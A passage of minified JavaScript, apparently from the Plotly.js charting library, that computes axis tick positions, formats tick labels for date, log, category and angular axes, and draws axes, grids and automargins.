lr=lr.concat(Nr),Ne._inCalcTicks=!1,tr&&lr.length&&(lr[0].noTick=!0),lr};function Te(Ue,Ne){return Ue.rangebreaks&&(Ne=Ne.filter(function(Et){return Ue.maskBreaks(Et.x)!==I})),Ne}function Fe(Ue){var Ne=Ue._mainAxis,Et=[];if(Ne._vals){for(var Lt=0;Lt<Ne._vals.length;Lt++)if(!Ne._vals[Lt].noTick){var Nt=Ne.l2p(Ne._vals[Lt].x),rr=Ue.p2l(Nt),tr=X.tickText(Ue,rr);Ne._vals[Lt].minor&&(tr.minor=!0,tr.text=""),Et.push(tr)}}return Et=Te(Ue,Et),Et}function Oe(Ue){var Ne=S.simpleMap(Ue.range,Ue.r2l),Et=K(Ne),Lt=Math.min(Et[0],Et[1]),Nt=Math.max(Et[0],Et[1]),rr=Ue.type==="category"?Ue.d2l_noadd:Ue.d2l;Ue.type==="log"&&String(Ue.dtick).charAt(0)!=="L"&&(Ue.dtick="L"+Math.pow(10,Math.floor(Math.min(Ue.range[0],Ue.range[1]))-1));for(var tr=[],Jt=0;Jt<=1;Jt++)if(!(Jt&&!Ue.minor)){var It=Jt?Ue.minor.tickvals:Ue.tickvals,or=Jt?[]:Ue.ticktext;if(It){Array.isArray(or)||(or=[]);for(var ur=0;ur<It.length;ur++){var fr=rr(It[ur]);if(fr>Lt&&fr<Nt){var lr=or[ur]===void 0?X.tickText(Ue,fr):yt(Ue,fr,String(or[ur]));Jt&&(lr.minor=!0,lr.text=""),tr.push(lr)}}}}return tr=Te(Ue,tr),tr}var Ce=[2,5,10],Be=[1,2,3,6,12],$e=[1,2,5,10,15,30],Xe=[1,2,3,7,14],Ze=[-.046,0,.301,.477,.602,.699,.778,.845,.903,.954,1],Ke=[-.301,0,.301,.699,1],st=[15,30,45,90,180];function lt(Ue,Ne,Et){return Ne*S.roundUp(Ue/Ne,Et)}X.autoTicks=function(Ue,Ne,Et){var Lt;function Nt(fr){return Math.pow(fr,Math.floor(Math.log(Ne)/Math.LN10))}if(Ue.type==="date"){Ue.tick0=S.dateTick0(Ue.calendar,0);var rr=2*Ne;if(rr>y)Ne/=y,Lt=Nt(10),Ue.dtick="M"+12*lt(Ne,Lt,Ce);else if(rr>T)Ne/=T,Ue.dtick="M"+lt(Ne,1,Be);else if(rr>p){if(Ue.dtick=lt(Ne,p,Ue._hasDayOfWeekBreaks?[1,2,7,14]:Xe),!Et){var tr=X.getTickFormat(Ue),Jt=Ue.ticklabelmode==="period";Jt&&(Ue._rawTick0=Ue.tick0),/%[uVW]/.test(tr)?Ue.tick0=S.dateTick0(Ue.calendar,2):Ue.tick0=S.dateTick0(Ue.calendar,1),Jt&&(Ue._dowTick0=Ue.tick0)}}else rr>m?Ue.dtick=lt(Ne,m,Be):rr>n?Ue.dtick=lt(Ne,n,$e):rr>C?Ue.dtick=lt(Ne,C,$e):(Lt=Nt(10),Ue.dtick=lt(Ne,Lt,Ce))}else if(Ue.type==="log"){Ue.tick0=0;var It=S.simpleMap(Ue.range,Ue.r2l);if(Ue._isMinor&&(Ne*=1.5),Ne>.7)Ue.dtick=Math.ceil(Ne);else if(Math.abs(It[1]-It[0])<1){var or=1.5*Math.abs((It[1]-It[0])/Ne);Ne=Math.abs(Math.pow(10,It[1])-Math.pow(10,It[0]))/or,Lt=Nt(10),Ue.dtick="L"+lt(Ne,Lt,Ce)}else Ue.dtick=Ne>.3?"D2":"D1"}else Ue.type==="category"||Ue.type==="multicategory"?(Ue.tick0=0,Ue.dtick=Math.ceil(Math.max(Ne,1))):Pt(Ue)?(Ue.tick0=0,Lt=1,Ue.dtick=lt(Ne,Lt,st)):(Ue.tick0=0,Lt=Nt(10),Ue.dtick=lt(Ne,Lt,Ce));if(Ue.dtick===0&&(Ue.dtick=1),!P(Ue.dtick)&&typeof Ue.dtick!="string"){var ur=Ue.dtick;throw Ue.dtick=1,"ax.dtick error: "+String(ur)}};function ut(Ue){var Ne=Ue.dtick;if(Ue._tickexponent=0,!P(Ne)&&typeof Ne!="string"&&(Ne=1),(Ue.type==="category"||Ue.type==="multicategory")&&(Ue._tickround=null),Ue.type==="date"){var Et=Ue.r2l(Ue.tick0),Lt=Ue.l2r(Et).replace(/(^-|i)/g,""),Nt=Lt.length;if(String(Ne).charAt(0)==="M")Nt>10||Lt.substr(5)!=="01-01"?Ue._tickround="d":Ue._tickround=+Ne.substr(1)%12===0?"y":"m";else if(Ne>=p&&Nt<=10||Ne>=p*15)Ue._tickround="d";else if(Ne>=n&&Nt<=16||Ne>=m)Ue._tickround="M";else if(Ne>=C&&Nt<=19||Ne>=n)Ue._tickround="S";else{var rr=Ue.l2r(Et+Ne).replace(/^-/,"").length;Ue._tickround=Math.max(Nt,rr)-20,Ue._tickround<0&&(Ue._tickround=4)}}else if(P(Ne)||Ne.charAt(0)==="L"){var tr=Ue.range.map(Ue.r2d||Number);P(Ne)||(Ne=Number(Ne.substr(1))),Ue._tickround=2-Math.floor(Math.log(Ne)/Math.LN10+.01);var Jt=Math.max(Math.abs(tr[0]),Math.abs(tr[1])),It=Math.floor(Math.log(Jt)/Math.LN10+.01),or=Ue.minexponent===void 0?3:Ue.minexponent;Math.abs(It)>or&&(ae(Ue.exponentformat)&&!de(It)?Ue._tickexponent=3*Math.round((It-1)/3):Ue._tickexponent=It)}else Ue._tickround=null}X.tickIncrement=function(Ue,Ne,Et,Lt){var Nt=Et?-1:1;if(P(Ne))return S.increment(Ue,Nt*Ne);var rr=Ne.charAt(0),tr=Nt*Number(Ne.substr(1));if(rr==="M")return S.incrementMonth(Ue,tr,Lt);if(rr==="L")return Math.log(Math.pow(10,Ue)+tr)/Math.LN10;if(rr==="D"){var Jt=Ne==="D2"?Ke:Ze,It=Ue+Nt*.01,or=S.roundUp(S.mod(It,1),Jt,Et);return Math.floor(It)+Math.log(M.round(Math.pow(10,or),1))/Math.LN10}throw"unrecognized dtick "+String(Ne)},X.tickFirst=function(Ue,Ne){var Et=Ue.r2l||Number,Lt=S.simpleMap(Ue.range,Et,void 0,void 0,Ne),Nt=Lt[1]<Lt[0],rr=Nt?Math.floor:Math.ceil,tr=K(Lt)[0],Jt=Ue.dtick,It=Et(Ue.tick0);if(P(Jt)){var or=rr((tr-It)/Jt)*Jt+It;return(Ue.type==="category"||Ue.type==="multicategory")&&(or=S.constrain(or,0,Ue._categories.length-1)),or}var ur=Jt.charAt(0),fr=Number(Jt.substr(1));if(ur==="M"){for(var lr=0,Nr=It,Rr,Cr,vn;lr<10;){if(Rr=X.tickIncrement(Nr,Jt,Nt,Ue.calendar),(Rr-tr)*(Nr-tr)<=0)return Nt?Math.min(Nr,Rr):Math.max(Nr,Rr);Cr=(tr-(Nr+Rr)/2)/(Rr-Nr),vn=ur+(Math.abs(Math.round(Cr))||1)*fr,Nr=X.tickIncrement(Nr,vn,Cr<0?!Nt:Nt,Ue.calendar),lr++}return S.error("tickFirst did not converge",Ue),Nr}else{if(ur==="L")return Math.log(rr((Math.pow(10,tr)-It)/fr)*fr+It)/Math.LN10;if(ur==="D"){var Ur=Jt==="D2"?Ke:Ze,Mn=S.roundUp(S.mod(tr,1),Ur,Nt);return Math.floor(tr)+Math.log(M.round(Math.pow(10,Mn),1))/Math.LN10}else throw"unrecognized dtick "+String(Jt)}},X.tickText=function(Ue,Ne,Et,Lt){var Nt=yt(Ue,Ne),rr=Ue.tickmode==="array",tr=Et||rr,Jt=Ue.type,It=Jt==="category"?Ue.d2l_noadd:Ue.d2l,or;if(rr&&Array.isArray(Ue.ticktext)){var ur=S.simpleMap(Ue.range,Ue.r2l),fr=(Math.abs(ur[1]-ur[0])-(Ue._lBreaks||0))/1e4;for(or=0;or<Ue.ticktext.length&&!(Math.abs(Ne-It(Ue.tickvals[or]))<fr);or++);if(or<Ue.ticktext.length)return Nt.text=String(Ue.ticktext[or]),Nt}function lr(vn){if(vn===void 0)return!0;if(Et)return vn==="none";var Ur={first:Ue._tmin,last:Ue._tmax}[vn];return vn!=="all"&&Ne!==Ur}var Nr=Et?"never":Ue.exponentformat!=="none"&&lr(Ue.showexponent)?"hide":"";if(Jt==="date"?bt(Ue,Nt,Et,tr):Jt==="log"?Ot(Ue,Nt,Et,tr,Nr):Jt==="category"?Ge(Ue,Nt):Jt==="multicategory"?Le(Ue,Nt,Et):Pt(Ue)?De(Ue,Nt,Et,tr,Nr):Pe(Ue,Nt,Et,tr,Nr),Lt||(Ue.tickprefix&&!lr(Ue.showtickprefix)&&(Nt.text=Ue.tickprefix+Nt.text),Ue.ticksuffix&&!lr(Ue.showticksuffix)&&(Nt.text+=Ue.ticksuffix)),Ue.labelalias&&Ue.labelalias.hasOwnProperty(Nt.text)){var Rr=Ue.labelalias[Nt.text];typeof Rr=="string"&&(Nt.text=Rr)}if(Ue.tickson==="boundaries"||Ue.showdividers){var Cr=function(vn){var Ur=Ue.l2p(vn);return Ur>=0&&Ur<=Ue._length?vn:null};Nt.xbnd=[Cr(Nt.x-.5),Cr(Nt.x+Ue.dtick-.5)]}return Nt},X.hoverLabelText=function(Ue,Ne,Et){Et&&(Ue=S.extendFlat({},Ue,{hoverformat:Et}));var Lt=Array.isArray(Ne)?Ne[0]:Ne,Nt=Array.isArray(Ne)?Ne[1]:void 0;if(Nt!==void 0&&Nt!==Lt)return X.hoverLabelText(Ue,Lt,Et)+" - "+X.hoverLabelText(Ue,Nt,Et);var rr=Ue.type==="log"&&Lt<=0,tr=X.tickText(Ue,Ue.c2l(rr?-Lt:Lt),"hover").text;return rr?Lt===0?"0":x+tr:tr};function yt(Ue,Ne,Et){var Lt=Ue.tickfont||{};return{x:Ne,dx:0,dy:0,text:Et||"",fontSize:Lt.size,font:Lt.family,fontColor:Lt.color}}function bt(Ue,Ne,Et,Lt){var Nt=Ue._tickround,rr=Et&&Ue.hoverformat||X.getTickFormat(Ue);Lt&&(P(Nt)?Nt=4:Nt={y:"m",m:"d",d:"M",M:"S",S:4}[Nt]);var tr=S.formatDate(Ne.x,rr,Nt,Ue._dateFormat,Ue.calendar,Ue._extraFormat),Jt,It=tr.indexOf(`
`);if(It!==-1&&(Jt=tr.substr(It+1),tr=tr.substr(0,It)),Lt&&(tr==="00:00:00"||tr==="00:00"?(tr=Jt,Jt=""):tr.length===8&&(tr=tr.replace(/:00$/,""))),Jt)if(Et)Nt==="d"?tr+=", "+Jt:tr=Jt+(tr?", "+tr:"");else if(!Ue._inCalcTicks||Ue._prevDateHead!==Jt)Ue._prevDateHead=Jt,tr+="<br>"+Jt;else{var or=Xt(Ue),ur=Ue._trueSide||Ue.side;(!or&&ur==="top"||or&&ur==="bottom")&&(tr+="<br> ")}Ne.text=tr}function Ot(Ue,Ne,Et,Lt,Nt){var rr=Ue.dtick,tr=Ne.x,Jt=Ue.tickformat,It=typeof rr=="string"&&rr.charAt(0);if(Nt==="never"&&(Nt=""),Lt&&It!=="L"&&(rr="L3",It="L"),Jt||It==="L")Ne.text=Me(Math.pow(10,tr),Ue,Nt,Lt);else if(P(rr)||It==="D"&&S.mod(tr+.01,1)<.1){var or=Math.round(tr),ur=Math.abs(or),fr=Ue.exponentformat;fr==="power"||ae(fr)&&de(or)?(or===0?Ne.text=1:or===1?Ne.text="10":Ne.text="10<sup>"+(or>1?"":x)+ur+"</sup>",Ne.fontSize*=1.25):(fr==="e"||fr==="E")&&ur>2?Ne.text="1"+fr+(or>0?"+":x)+ur:(Ne.text=Me(Math.pow(10,tr),Ue,"","fakehover"),rr==="D1"&&Ue._id.charAt(0)==="y"&&(Ne.dy-=Ne.fontSize/6))}else if(It==="D")Ne.text=String(Math.round(Math.pow(10,S.mod(tr,1)))),Ne.fontSize*=.75;else throw"unrecognized dtick "+String(rr);if(Ue.dtick==="D1"){var lr=String(Ne.text).charAt(0);(lr==="0"||lr==="1")&&(Ue._id.charAt(0)==="y"?Ne.dx-=Ne.fontSize/4:(Ne.dy+=Ne.fontSize/2,Ne.dx+=(Ue.range[1]>Ue.range[0]?1:-1)*Ne.fontSize*(tr<0?.5:.25)))}}function Ge(Ue,Ne){var Et=Ue._categories[Math.round(Ne.x)];Et===void 0&&(Et=""),Ne.text=String(Et)}function Le(Ue,Ne,Et){var Lt=Math.round(Ne.x),Nt=Ue._categories[Lt]||[],rr=Nt[1]===void 0?"":String(Nt[1]),tr=Nt[0]===void 0?"":String(Nt[0]);Et?Ne.text=tr+" - "+rr:(Ne.text=rr,Ne.text2=tr)}function Pe(Ue,Ne,Et,Lt,Nt){Nt==="never"?Nt="":Ue.showexponent==="all"&&Math.abs(Ne.x/Ue.dtick)<1e-6&&(Nt="hide"),Ne.text=Me(Ne.x,Ue,Nt,Lt)}function De(Ue,Ne,Et,Lt,Nt){if(Ue.thetaunit==="radians"&&!Et){var rr=Ne.x/180;if(rr===0)Ne.text="0";else{var tr=Ee(rr);if(tr[1]>=100)Ne.text=Me(S.deg2rad(Ne.x),Ue,Nt,Lt);else{var Jt=Ne.x<0;tr[1]===1?tr[0]===1?Ne.text="π":Ne.text=tr[0]+"π":Ne.text=["<sup>",tr[0],"</sup>","⁄","<sub>",tr[1],"</sub>","π"].join(""),Jt&&(Ne.text=x+Ne.text)}}}else Ne.text=Me(Ne.x,Ue,Nt,Lt)}function Ee(Ue){function Ne(Jt,It){return Math.abs(Jt-It)<=1e-6}function Et(Jt,It){return Ne(It,0)?Jt:Et(It,Jt%It)}function Lt(Jt){for(var It=1;!Ne(Math.round(Jt*It)/It,Jt);)It*=10;return It}var Nt=Lt(Ue),rr=Ue*Nt,tr=Math.abs(Et(rr,Nt));return[Math.round(rr/tr),Math.round(Nt/tr)]}var ye=["f","p","n","μ","m","","k","M","G","T"];function ae(Ue){return Ue==="SI"||Ue==="B"}function de(Ue){return Ue>14||Ue<-15}function Me(Ue,Ne,Et,Lt){var Nt=Ue<0,rr=Ne._tickround,tr=Et||Ne.exponentformat||"B",Jt=Ne._tickexponent,It=X.getTickFormat(Ne),or=Ne.separatethousands;if(Lt){var ur={exponentformat:tr,minexponent:Ne.minexponent,dtick:Ne.showexponent==="none"?Ne.dtick:P(Ue)&&Math.abs(Ue)||1,range:Ne.showexponent==="none"?Ne.range.map(Ne.r2d):[0,Ue||1]};ut(ur),rr=(Number(ur._tickround)||0)+4,Jt=ur._tickexponent,Ne.hoverformat&&(It=Ne.hoverformat)}if(It)return Ne._numFormat(It)(Ue).replace(/-/g,x);var fr=Math.pow(10,-rr)/2;if(tr==="none"&&(Jt=0),Ue=Math.abs(Ue),Ue<fr)Ue="0",Nt=!1;else{if(Ue+=fr,Jt&&(Ue*=Math.pow(10,-Jt),rr+=Jt),rr===0)Ue=String(Math.floor(Ue));else if(rr<0){Ue=String(Math.round(Ue)),Ue=Ue.substr(0,Ue.length+rr);for(var lr=rr;lr<0;lr++)Ue+="0"}else{Ue=String(Ue);var Nr=Ue.indexOf(".")+1;Nr&&(Ue=Ue.substr(0,Nr+rr).replace(/\.?0+$/,""))}Ue=S.numSeparate(Ue,Ne._separators,or)}if(Jt&&tr!=="hide"){ae(tr)&&de(Jt)&&(tr="power");var Rr;Jt<0?Rr=x+-Jt:tr!=="power"?Rr="+"+Jt:Rr=String(Jt),tr==="e"||tr==="E"?Ue+=tr+Rr:tr==="power"?Ue+="×10<sup>"+Rr+"</sup>":tr==="B"&&Jt===9?Ue+="B":ae(tr)&&(Ue+=ye[Jt/3+5])}return Nt?x+Ue:Ue}X.getTickFormat=function(Ue){var Ne;function Et(It){return typeof It!="string"?It:Number(It.replace("M",""))*T}function Lt(It,or){var ur=["L","D"];if(typeof It==typeof or){if(typeof It=="number")return It-or;var fr=ur.indexOf(It.charAt(0)),lr=ur.indexOf(or.charAt(0));return fr===lr?Number(It.replace(/(L|D)/g,""))-Number(or.replace(/(L|D)/g,"")):fr-lr}else return typeof It=="number"?1:-1}function Nt(It,or,ur){var fr=ur||function(Rr){return Rr},lr=or[0],Nr=or[1];return(!lr&&typeof lr!="number"||fr(lr)<=fr(It))&&(!Nr&&typeof Nr!="number"||fr(Nr)>=fr(It))}function rr(It,or){var ur=or[0]===null,fr=or[1]===null,lr=Lt(It,or[0])>=0,Nr=Lt(It,or[1])<=0;return(ur||lr)&&(fr||Nr)}var tr,Jt;if(Ue.tickformatstops&&Ue.tickformatstops.length>0)switch(Ue.type){case"date":case"linear":{for(Ne=0;Ne<Ue.tickformatstops.length;Ne++)if(Jt=Ue.tickformatstops[Ne],Jt.enabled&&Nt(Ue.dtick,Jt.dtickrange,Et)){tr=Jt;break}break}case"log":{for(Ne=0;Ne<Ue.tickformatstops.length;Ne++)if(Jt=Ue.tickformatstops[Ne],Jt.enabled&&rr(Ue.dtick,Jt.dtickrange)){tr=Jt;break}break}}return tr?tr.value:Ue.tickformat},X.getSubplots=function(Ue,Ne){var Et=Ue._fullLayout._subplots,Lt=Et.cartesian.concat(Et.gl2d||[]),Nt=Ne?X.findSubplotsWithAxis(Lt,Ne):Lt;return Nt.sort(function(rr,tr){var Jt=rr.substr(1).split("y"),It=tr.substr(1).split("y");return Jt[0]===It[0]?+Jt[1]-+It[1]:+Jt[0]-+It[0]}),Nt},X.findSubplotsWithAxis=function(Ue,Ne){for(var Et=new RegExp(Ne._id.charAt(0)==="x"?"^"+Ne._id+"y":Ne._id+"$"),Lt=[],Nt=0;Nt<Ue.length;Nt++){var rr=Ue[Nt];Et.test(rr)&&Lt.push(rr)}return Lt},X.makeClipPaths=function(Ue){var Ne=Ue._fullLayout;if(!Ne._hasOnlyLargeSploms){var Et={_offset:0,_length:Ne.width,_id:""},Lt={_offset:0,_length:Ne.height,_id:""},Nt=X.list(Ue,"x",!0),rr=X.list(Ue,"y",!0),tr=[],Jt,It;for(Jt=0;Jt<Nt.length;Jt++)for(tr.push({x:Nt[Jt],y:Lt}),It=0;It<rr.length;It++)Jt===0&&tr.push({x:Et,y:rr[It]}),tr.push({x:Nt[Jt],y:rr[It]});var or=Ne._clips.selectAll(".axesclip").data(tr,function(ur){return ur.x._id+ur.y._id});or.enter().append("clipPath").classed("axesclip",!0).attr("id",function(ur){return"clip"+Ne._uid+ur.x._id+ur.y._id}).append("rect"),or.exit().remove(),or.each(function(ur){M.select(this).select("rect").attr({x:ur.x._offset||0,y:ur.y._offset||0,width:ur.x._length||1,height:ur.y._length||1})})}},X.draw=function(Ue,Ne,Et){var Lt=Ue._fullLayout;Ne==="redraw"&&Lt._paper.selectAll("g.subplot").each(function(It){var or=It[0],ur=Lt._plots[or];if(ur){var fr=ur.xaxis,lr=ur.yaxis;ur.xaxislayer.selectAll("."+fr._id+"tick").remove(),ur.yaxislayer.selectAll("."+lr._id+"tick").remove(),ur.xaxislayer.selectAll("."+fr._id+"tick2").remove(),ur.yaxislayer.selectAll("."+lr._id+"tick2").remove(),ur.xaxislayer.selectAll("."+fr._id+"divider").remove(),ur.yaxislayer.selectAll("."+lr._id+"divider").remove(),ur.minorGridlayer&&ur.minorGridlayer.selectAll("path").remove(),ur.gridlayer&&ur.gridlayer.selectAll("path").remove(),ur.zerolinelayer&&ur.zerolinelayer.selectAll("path").remove(),Lt._infolayer.select(".g-"+fr._id+"title").remove(),Lt._infolayer.select(".g-"+lr._id+"title").remove()}});var Nt=!Ne||Ne==="redraw"?X.listIds(Ue):Ne,rr=X.list(Ue),tr=rr.filter(function(It){return It.autoshift}).map(function(It){return It.overlaying});Nt.map(function(It){var or=X.getFromId(Ue,It);if(or.tickmode==="sync"&&or.overlaying){var ur=Nt.findIndex(function(fr){return fr===or.overlaying});ur>=0&&Nt.unshift(Nt.splice(ur,1).shift())}});var Jt={false:{left:0,right:0}};return S.syncOrAsync(Nt.map(function(It){return function(){if(It){var or=X.getFromId(Ue,It);Et||(Et={}),Et.axShifts=Jt,Et.overlayingShiftedAx=tr;var ur=X.drawOne(Ue,or,Et);return or._shiftPusher&&$t(or,or._fullDepth||0,Jt,!0),or._r=or.range.slice(),or._rl=S.simpleMap(or._r,or.r2l),ur}}}))},X.drawOne=function(Ue,Ne,Et){Et=Et||{};var Lt=Et.axShifts||{},Nt=Et.overlayingShiftedAx||[],rr,tr,Jt;Ne.setScale();var It=Ue._fullLayout,or=Ne._id,ur=or.charAt(0),fr=X.counterLetter(or),lr=It._plots[Ne._mainSubplot];if(!lr)return;if(Ne._shiftPusher=Ne.autoshift||Nt.indexOf(Ne._id)!==-1||Nt.indexOf(Ne.overlaying)!==-1,Ne._shiftPusher&Ne.anchor==="free"){var Nr=Ne.linewidth/2||0;Ne.ticks==="inside"&&(Nr+=Ne.ticklen),$t(Ne,Nr,Lt,!0),$t(Ne,Ne.shift||0,Lt,!1)}(Et.skipTitle!==!0||Ne._shift===void 0)&&(Ne._shift=yr(Ne,Lt));var Rr=lr[ur+"axislayer"],Cr=Ne._mainLinePosition,vn=Cr+=Ne._shift,Ur=Ne._mainMirrorPosition,Mn=Ne._vals=X.calcTicks(Ne),Sn=[Ne.mirror,vn,Ur].join("_");for(rr=0;rr<Mn.length;rr++)Mn[rr].axInfo=Sn;Ne._selections={},Ne._tickAngles&&(Ne._prevTickAngles=Ne._tickAngles),Ne._tickAngles={},Ne._depth=null;var nr={};function Sr(Lr){var ln=or+(Lr||"tick");return nr[ln]||(nr[ln]=St(Ne,ln)),nr[ln]}if(Ne.visible){var Dr=X.makeTransTickFn(Ne),Ir=X.makeTransTickLabelFn(Ne),Xr,an,tn=Ne.ticks==="inside",gn=Ne.ticks==="outside";if(Ne.tickson==="boundaries"){var En=Qe(Ne,Mn);an=X.clipEnds(Ne,En),Xr=tn?an:En}else an=X.clipEnds(Ne,Mn),Xr=tn&&Ne.ticklabelmode!=="period"?an:Mn;var Hn=Ne._gridVals=an,Xn=pt(Ne,Mn);if(!It._hasOnlyLargeSploms){var qn=Ne._subplotsWith,Wn={};for(rr=0;rr<qn.length;rr++){tr=qn[rr],Jt=It._plots[tr];var ea=Jt[fr+"axis"],mr=ea._mainAxis._id;if(!Wn[mr]){Wn[mr]=1;var qr=ur==="x"?"M0,"+ea._offset+"v"+ea._length:"M"+ea._offset+",0h"+ea._length;X.drawGrid(Ue,Ne,{vals:Hn,counterAxis:ea,layer:Jt.gridlayer.select("."+or),minorLayer:Jt.minorGridlayer.select("."+or),path:qr,transFn:Dr}),X.drawZeroLine(Ue,Ne,{counterAxis:ea,layer:Jt.zerolinelayer,path:qr,transFn:Dr})}}}var Qr,un=X.getTickSigns(Ne),kn=X.getTickSigns(Ne,"minor");if(Ne.ticks||Ne.minor&&Ne.minor.ticks){var bn=X.makeTickPath(Ne,vn,un[2]),wn=X.makeTickPath(Ne,vn,kn[2],{minor:!0}),zn,Jn,ba,Fa;if(Ne._anchorAxis&&Ne.mirror&&Ne.mirror!==!0?(zn=X.makeTickPath(Ne,Ur,un[3]),Jn=X.makeTickPath(Ne,Ur,kn[3],{minor:!0}),ba=bn+zn,Fa=wn+Jn):(zn="",Jn="",ba=bn,Fa=wn),Ne.showdividers&&gn&&Ne.tickson==="boundaries"){var Ht={};for(rr=0;rr<Xn.length;rr++)Ht[Xn[rr].x]=1;Qr=function(Lr){return Ht[Lr.x]?zn:ba}}else Qr=function(Lr){return Lr.minor?Fa:ba}}if(X.drawTicks(Ue,Ne,{vals:Xr,layer:Rr,path:Qr,transFn:Dr}),Ne.mirror==="allticks"){var pr=Object.keys(Ne._linepositions||{});for(rr=0;rr<pr.length;rr++){tr=pr[rr],Jt=It._plots[tr];var $r=Ne._linepositions[tr]||[],on=$r[0],sn=$r[1],Tn=$r[2],pn=X.makeTickPath(Ne,on,Tn?un[0]:kn[0],{minor:Tn})+X.makeTickPath(Ne,sn,Tn?un[1]:kn[1],{minor:Tn});X.drawTicks(Ue,Ne,{vals:Xr,layer:Jt[ur+"axislayer"],path:pn,transFn:Dr})}}var nn=[];if(nn.push(function(){return X.drawLabels(Ue,Ne,{vals:Mn,layer:Rr,plotinfo:Jt,transFn:Ir,labelFns:X.makeLabelFns(Ne,vn)})}),Ne.type==="multicategory"){var Ar={x:2,y:10}[ur];nn.push(function(){var Lr={x:"height",y:"width"}[ur],ln=Sr()[Lr]+Ar+(Ne._tickAngles[or+"tick"]?Ne.tickfont.size*q:0);return X.drawLabels(Ue,Ne,{vals:et(Ne,Mn),layer:Rr,cls:or+"tick2",repositionOnUpdate:!0,secondary:!0,transFn:Dr,labelFns:X.makeLabelFns(Ne,vn+ln*un[4])})}),nn.push(function(){return Ne._depth=un[4]*(Sr("tick2")[Ne.side]-vn),Gt(Ue,Ne,{vals:Xn,layer:Rr,path:X.makeTickPath(Ne,vn,un[4],{len:Ne._depth}),transFn:Dr})})}else Ne.title.hasOwnProperty("standoff")&&nn.push(function(){Ne._depth=un[4]*(Sr()[Ne.side]-vn)});var br=L.getComponentMethod("rangeslider","isVisible")(Ne);return!Et.skipTitle&&!(br&&Ne.side==="bottom")&&nn.push(function(){return Pr(Ue,Ne)}),nn.push(function(){var Lr=Ne.side.charAt(0),ln=ne[Ne.side].charAt(0),Ln=X.getPxPosition(Ue,Ne),On=gn?Ne.ticklen:0,fn,Rn,Zn,ta;(Ne.automargin||br||Ne._shiftPusher)&&(Ne.type==="multicategory"?fn=Sr("tick2"):(fn=Sr(),ur==="x"&&Lr==="b"&&(Ne._depth=Math.max(fn.width>0?fn.bottom-Ln:0,On))));var Qn=0,$n=0;if(Ne._shiftPusher&&(Qn=Math.max(On,fn.height>0?Lr==="l"?Ln-fn.left:fn.right-Ln:0),Ne.title.text!==It._dfltTitle[ur]&&($n=(Ne._titleStandoff||0)+(Ne._titleScoot||0),Lr==="l"&&($n+=er(Ne))),Ne._fullDepth=Math.max(Qn,$n)),Ne.automargin){Rn={x:0,y:0,r:0,l:0,t:0,b:0};var oa=[0,1],Di=typeof Ne._shift=="number"?Ne._shift:0;if(ur==="x"){if(Lr==="b"?Rn[Lr]=Ne._depth:(Rn[Lr]=Ne._depth=Math.max(fn.width>0?Ln-fn.top:0,On),oa.reverse()),fn.width>0){var Gi=fn.right-(Ne._offset+Ne._length);Gi>0&&(Rn.xr=1,Rn.r=Gi);var Xi=Ne._offset-fn.left;Xi>0&&(Rn.xl=0,Rn.l=Xi)}}else if(Lr==="l"?(Ne._depth=Math.max(fn.height>0?Ln-fn.left:0,On),Rn[Lr]=Ne._depth-Di):(Ne._depth=Math.max(fn.height>0?fn.right-Ln:0,On),Rn[Lr]=Ne._depth+Di,oa.reverse()),fn.height>0){var qi=fn.bottom-(Ne._offset+Ne._length);qi>0&&(Rn.yb=0,Rn.b=qi);var ji=Ne._offset-fn.top;ji>0&&(Rn.yt=1,Rn.t=ji)}Rn[fr]=Ne.anchor==="free"?Ne.position:Ne._anchorAxis.domain[oa[0]],Ne.title.text!==It._dfltTitle[ur]&&(Rn[Lr]+=er(Ne)+(Ne.title.standoff||0)),Ne.mirror&&Ne.anchor!=="free"&&(Zn={x:0,y:0,r:0,l:0,t:0,b:0},Zn[ln]=Ne.linewidth,Ne.mirror&&Ne.mirror!==!0&&(Zn[ln]+=On),Ne.mirror===!0||Ne.mirror==="ticks"?Zn[fr]=Ne._anchorAxis.domain[oa[1]]:(Ne.mirror==="all"||Ne.mirror==="allticks")&&(Zn[fr]=[Ne._counterDomainMin,Ne._counterDomainMax][oa[1]]))}br&&(ta=L.getComponentMethod("rangeslider","autoMarginOpts")(Ue,Ne)),typeof Ne.automargin=="string"&&(Ie(Rn,Ne.automargin),Ie(Zn,Ne.automargin)),o.autoMargin(Ue,sr(Ne),Rn),o.autoMargin(Ue,nt(Ne),Zn),o.autoMargin(Ue,rt(Ne),ta)}),S.syncOrAsync(nn)}};function Ie(Ue,Ne){if(Ue){var Et=Object.keys(z).reduce(function(Lt,Nt){return Ne.indexOf(Nt)!==-1&&z[Nt].forEach(function(rr){Lt[rr]=1}),Lt},{});Object.keys(Ue).forEach(function(Lt){Et[Lt]||(Lt.length===1?Ue[Lt]=0:delete Ue[Lt])})}}function Qe(Ue,Ne){var Et=[],Lt,Nt=function(rr,tr){var Jt=rr.xbnd[tr];Jt!==null&&Et.push(S.extendFlat({},rr,{x:Jt}))};if(Ne.length){for(Lt=0;Lt<Ne.length;Lt++)Nt(Ne[Lt],0);Nt(Ne[Lt-1],1)}return Et}function et(Ue,Ne){for(var Et=[],Lt={},Nt=0;Nt<Ne.length;Nt++){var rr=Ne[Nt];Lt[rr.text2]?Lt[rr.text2].push(rr.x):Lt[rr.text2]=[rr.x]}for(var tr in Lt)Et.push(yt(Ue,S.interp(Lt[tr],.5),tr));return Et}function pt(Ue,Ne){var Et=[],Lt,Nt,rr=Ne.length&&Ne[Ne.length-1].x<Ne[0].x,tr=function(It,or){var ur=It.xbnd[or];ur!==null&&Et.push(S.extendFlat({},It,{x:ur}))};if(Ue.showdividers&&Ne.length){for(Lt=0;Lt<Ne.length;Lt++){var Jt=Ne[Lt];Jt.text2!==Nt&&tr(Jt,rr?1:0),Nt=Jt.text2}tr(Ne[Lt-1],rr?0:1)}return Et}function St(Ue,Ne){var Et,Lt,Nt,rr;return Ue._selections[Ne].size()?(Et=1/0,Lt=-1/0,Nt=1/0,rr=-1/0,Ue._selections[Ne].each(function(){var tr=dr(this),Jt=f.bBox(tr.node().parentNode);Et=Math.min(Et,Jt.top),Lt=Math.max(Lt,Jt.bottom),Nt=Math.min(Nt,Jt.left),rr=Math.max(rr,Jt.right)})):(Et=0,Lt=0,Nt=0,rr=0),{top:Et,bottom:Lt,left:Nt,right:rr,height:Lt-Et,width:rr-Nt}}X.getTickSigns=function(Ue,Ne){var Et=Ue._id.charAt(0),Lt={x:"top",y:"right"}[Et],Nt=Ue.side===Lt?1:-1,rr=[-1,1,Nt,-Nt],tr=Ne?(Ue.minor||{}).ticks:Ue.ticks;return 